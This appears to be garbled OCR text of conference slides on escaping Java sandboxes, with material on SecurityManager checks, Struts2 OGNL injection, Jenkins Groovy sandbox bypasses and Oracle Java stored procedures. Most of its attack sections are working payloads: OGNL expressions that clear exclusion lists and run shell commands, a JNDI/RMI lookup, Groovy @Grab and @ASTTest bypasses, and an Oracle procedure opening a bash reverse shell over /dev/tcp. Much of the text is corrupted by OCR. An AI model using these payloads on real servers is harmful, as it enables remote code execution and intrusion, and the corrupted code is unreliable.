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My Securﬁyhﬂanager

public static void main(String![] args) {
String line;
try {
FileReader fr = new FileReader(new File("securitymanagertest.txt"));
br = new BufferedReader(fr);
while ((line = br.readLine()) != null)
System.out.println(line);
} catch (IOException e) {
e.printStackTrace();
}

p

}

}

P
}

ublic FileInputStream(File file) throws FileNotFoundException {
String name = (file != null ? file.getPath() : null);
SecurityManager security = System.getSecurityManager();
if (security != pull) {
security.checkRead(name);
}

if (name == null) {
throw new NullPointerException();

}

if (file.isInvalid()) {
throw new FileNotFoundException("Invalid fi

}

fd = new FileDescriptor();
fd.attach(this);
path = name;

open(name) ; *ﬁ‘ng"lﬁ* X BE

public void checkRead(String file) {
checkPermission(new FilePermission(file,SecurityConstants.FILE_READ_ACTION));

path");

ublic void checkPermission(Permission perm) {
java.security.AccessController.checkPermission(perm);

KCon



XHRE

Mgz s

BTN % &

checkRead(FileDescriptor fd)
checkRead(String file)
checkRead(String file, Object context)
checkWrite(FileDescriptor fd)
checkWrite(String file)
checkDelete(String file)

checkConnect(String host, int port, Obje
checkListen(int port)
checkAccept(String host, int port)
checkMulticast(InetAddress maddr)
checkSetFactory()

checkCreateClassLoader()
checkExec(String cmd)
checkLink(String lib)
checkExit(int status)
checkPermission(Permission perm)

ZRERE

o
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i
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checkAccess(Thread t)
checkAccess(ThreadGroup q)

checkPrintJobAccess()
checkSystemClipboardAccess()
checkAwtEventQueueAccess()
checkPropertiesAccess()
checkPropertyAccess(String key)
checkTopLevelWindow(0Object window)

checkMemberAccess(Class<’> clazz, int which)
checkSecurityAccess(String target)//=5!
checkPackageAccess(String pkg)
checkPackageDefinition(String pkg)

2 KCon
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struts-default.xmi SecurityMemberAccess KCon

SecurityMemberAccess extends DefaultMemberAccess {

<constant name="struts.excludedClasses"
value=" privat tic final Logger = LoggerFactory. getLogger (SecurityMemberAccess. class)
java.lang.Object,java.lang.Runtime,java.lang.System,

java.lang.Class,java.lang.ClassLoader,java.lang.Shutdown, e
java.lang.ProcessBuilder,ognl.OgnlContext,ognl.ClassResolver, private SetClasa<?
ognl.TypeConverter,ognl.MemberAccess, private Set Tattert

te Set<Pattern

te Set<{String

ognl.DefaultMemberAccess,

com.opensymphony.xwork2.ognl.SecurityMemberAccess, B secorityMenberhccess (boolean method) ]
com.opensymphony.xwork2.ActionContext" / et e s
<constant name="struts.excludedPackageNames" } e
value="java.lang.,ognl,javax" />

publi n getAllowStaticMethodAccess() { »

13 l_. /E ﬁfF /E]\ @0verride

9%{1%1_L§ﬁISACCESSib|e¥IJ% public 1 1. 1-:T: isAccessible (lap Cv:»h:,-:-xt ‘zb_wc’ target, Member member, String propertyllame) {
S EF EE 1f (checkEnumAccess (target, member))

FISTIR, BRERRBI, KEZEI, HEIHFRG (£ 406 isTeacebnabled




Struts2
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.(@java.lang.Runtime@getRuntime().exec('calc'))

S2-001

52-014

(#p.start())

).(@java.lang.Runtime@getRuntim
e().exec('calc'))

52-032 >2-057

52-045

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(
#
).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.cle
ar()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT _MEMBER_AC
CESS)).(@java.lang.Runtime@getRuntime().exec('calc'))

KCon



52-045 PAYLOAD S$2-057 PAYLOAD KCon
S

(#dm=gogn1.Ogn1Context@EFAULT_MEMBER_ACCESS). |  3perisinga) (#container=#c['com.opensymphony.xwork2.ActionContext.container']

(#_memberAccess?(# _memberAccess=#dm) :

(#container=#context[ ' com.opensymphony.xwork2.ActionContext.container']). ) )

#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.0OgnlUtil@class)). (#0 :#CO nta | ne rgetl n Sta nce ( @ com.o pe nsym p h OnyXWO rk2 . Ogn I .Og n I Ut
#ognlUtil.getExcludedPackageNames().clear()).

#ognlUtil.getExcludedCl ().clear()). s ;

#cc’i:texi:.sgirﬁez;e:ﬂicesi?;z:l)));.ea 25FTWIRS, EREAINE II@CIaSS))

T ((#o.getExcludedClasses().clear())).
#iswin=(@java.lang.System@getProperty( os.name").tolLowerCase().contains( win))). (#OgetExcluded PaCkageNamES().Clear())

#cmds=(#iswin?{ cmd.exe’, " /c',#cmd}:{ " /bin/bash", -c",#cmd})).

#p=new java.lang.ProcessBuilder(#cnds)). (#Hdm=@ognl.OgnlContext@DEFAULT _MEMBER_ACCESS).

#p.redirectErrorStream(true)).

#process=ip. start()). ' (#Hc.setMemberAccess(#dm)).(#cmd=({'calc'})).
#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStrean())). (new Java |a ng PrOCESSBU I|der(#Cmd ) ) .sta I’t()

@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
#ros.flush()) }

B S MITERERFROE, FERMROE




S2-045

public class OgnlContext extends Object implements Map

{

public static final String CONTEXT_CONTEXT_KEY = "context";
public static final String ROOT_CONTEXT_KEY = "root";

public static final String THIS_CONTEXT_KEY = "this";

public static final String MEMBER_ACCESS_CONTEXT_KEY =

" memberAccess";

52-057

public class OgnlContext extends Object implements Map
{

public static final String ROOT_CONTEXT_KEY = "root";
public static final String THIS_CONTEXT_KEY = "this";

KCon



context map

S ognizit =

application

session

value stack(root)

action (the current action)
request

parameters

attr (searches page, request, session, then application scopes)

KCon

Ognlip B X &R

name
#action['foo'] or #action.foo

#parameters['foo'] or
#parameters.foo

#request['foo'] or #request.foo

#session['foo'"] or #session.foo

#application['foo'] or
#application.foo

#attr['foo'] or #attr.foo

value
current action getter (getFoo())

request parameter ['foo']
(request.getParameter())

request attribute ['foo']
(request.getAttribute())

session attribute 'foo'
ServiletContext attributes 'foo'

Access to PageContext if
available, otherwise searches
request/session/application
respectively



PoCHy1& KCon

S2-045

(#container=ttcontext['com.opensymphony.xwork2.Acti 1, #contextZC/A3REVE
onContext.container']) 2, request.getAttribute("struts.valueStack")

3, OgnlValueStack® —|>context

S2-057 :
(Hc=#request['struts.valueStack'].context).
(#container=#c['com.opensymphony.xwork2.ActionCont
ext.container']).




2%33Demo KCon

(#jdbc=new Result
com.sun.rowset.JdbcRowSetIimpl()).(#jdbc.setDataSourceName('rmi://1
27.0.0.1:1099/Exploit')).(#jdbc.setAutoCommit(true))

if (isClassExcluded (targetClass)) {
1f . isWarnEnabled()) {
warn target)

1

(#n=#request['struts.actionMapping'].namespace.substring(0,1)).(#rmi=
rmi:"+#n+#n+'127.0.0.1:1099'+#n+'Exploit').(#jdbc=new
com.sun.rowset.JdbcRowSetImpl()).(#jdbc.setDataSourceName(#rmi)).(

#jdbc.setAutoCommit(true))



rmi://127.0.0.1:1099/Exploit')).(

KCon
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SandboxInterceptor KCon

method invoke

| % B new Instance

M AT static method
S ) st property
get property
set attribute
get attribute
super call

set array
get array
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Security-1266/CVE-2019-100300

TCHRTE
Javay ¥ f#
IR

payload

T

org.buildobjects.process.ProcBuilder
Grab('org.buildobjects:jproc:2.2.3")
class Dummy{ }
print ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()

public void visitAnnotations{AnnotatedNode ) {

or (AnnotationNode an : node.getAnnotations()) {

? extends Annotation> blockedAnnotation : BLOCKED_TRANSFORMS) A

(blockedAnnotation.getSimpleName().equals(an.getClassNode().getName())) {

throw new SecurityException("Annotation + blockedAnnotation.getSimpleName()

}

KCon
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import groovy.transform.ASTTest as lolwut; KCon

e @lolwut(value={})

@Grapes([@Grab(group='foo',

module='bar', version='1.0')]) @groovy.transform.ASTTest(value={ assert
Jenkins.getInstance().createProject()})

SECURITY-1266 SECURITY-1318 SECURITY-1320

SECURITY-1292 SECURITY-1319 SECURITY-1321

@Grab(group="foo’, module="bar’, @GrabResolver(name="' ', @AnnotationCollector([ASTTest]) @interface Lol {}
version='1.0") root=" ") @Lol(value={


http://restlet.org/
http://maven.restlet.org/

RIS

KCon



| Oracle £ #E ZE AN FR 72 /i

JavafF itz
Java R
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select type_name,name,ACTION from SYS.DBA_JAVA POLICY;

TYPE_NAME

java.lang.RuntimePermission
java.lang.RuntimePermission
java.lang.RuntimePermission
java.net.SocketPermission
java.io.FilePermission
java.io.SerializablePermission
TYPE_NAME

java.lang.RuntimePermission
java.lang.RuntimePermission
java.lang.RuntimePermission
java.net.SocketPermission

java.sgl.5QLPermission
java.io.FilePermission
TYPE_NAME

java.lang.RuntimePermission
java.lang.RuntimePermission
java.net.SocketPermission

Debug

NAME

oracle.DbmsJavaScriptUser
createClassLoader
getClassLoader

<<ALL FILES>>
NAME
readFileDescriptor

setContextClassLoader
setFileDescriptor

setlLog
<<ALL FILES>-

NAME

defineClassInPackage.
getProtectionDomain

KCon

ACTION

read,write,execute,delete

ACTION

accept, connect, liste
n,resolve

read
ACTION

connect, resolve
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create or replace and compile java source named ReverseShell as
import java.io.x*;
public class ReverseShell{
public static void getConnection(String ip, String port) throws InterruptedException, IOException{
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[1{"/bin/bash","-c","/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " @>&1"});
System.out.println(p.toString());

p.waitFor();
} } 0RA—29532:!Java WEEBRMIZERN Java BHEHREE: java.security.AccessControlException: ]
the Pe ali |
/ R
create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2) has not been granted_to‘C#ﬁIGREZ. The PL/SQL to grant t_“hls is
IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)'; dbms_java.grant_permission( 'C##BIGREZ', 'SYS:java.io.FilePermission', '<<ALL FILES>>', ‘'execute' )

ORA-06512: 7 "C##BIGREZ.REVERSE_SHELL", line 1
ORA-06512: # line 1
exec REVERSE_SHELL('192.168.3.104",'7777") ; 29532, 00000 - "Java call terminated by uncaught Java exception: %s"
+Cause: A Java exception or error was signaled and could not be
resolved by the Java code.
+Action: Modify Java code, .7 this behavior is not intended.



BEGIN KCon
& FF5I4E decodeme( '<?xml version="1.8" encoding="UTF-8" 7>
<java version="1.4.0" class="java.beans.XMLDecoder'>
<object class="java.io.FileWriter"'>

create or replace and compile java source named DecodeMe as <string>C:\\test. txt</string>
import java.io.~+~; — <b001ean>Tr'ue</bOOlean>
import java.beans.; <void method="write">
public class DecodeMe{ = .
public static void input(String xml) throws InterruptedException, IOException { <string>net user lxx\r\n</string>
XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream{xml.getBytes())); </void>
Object object = decoder.readObject(); : =t " :
System.out.println(object.toString()); ‘_NOld method="close"></void>
decoder.close(); ) </object>
} </java>');
¥ END;

éREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS . — N
language java name 'DecodeMe.input(java.lang.String)’; ﬁklj]'_:_j ]\I'ﬁ:
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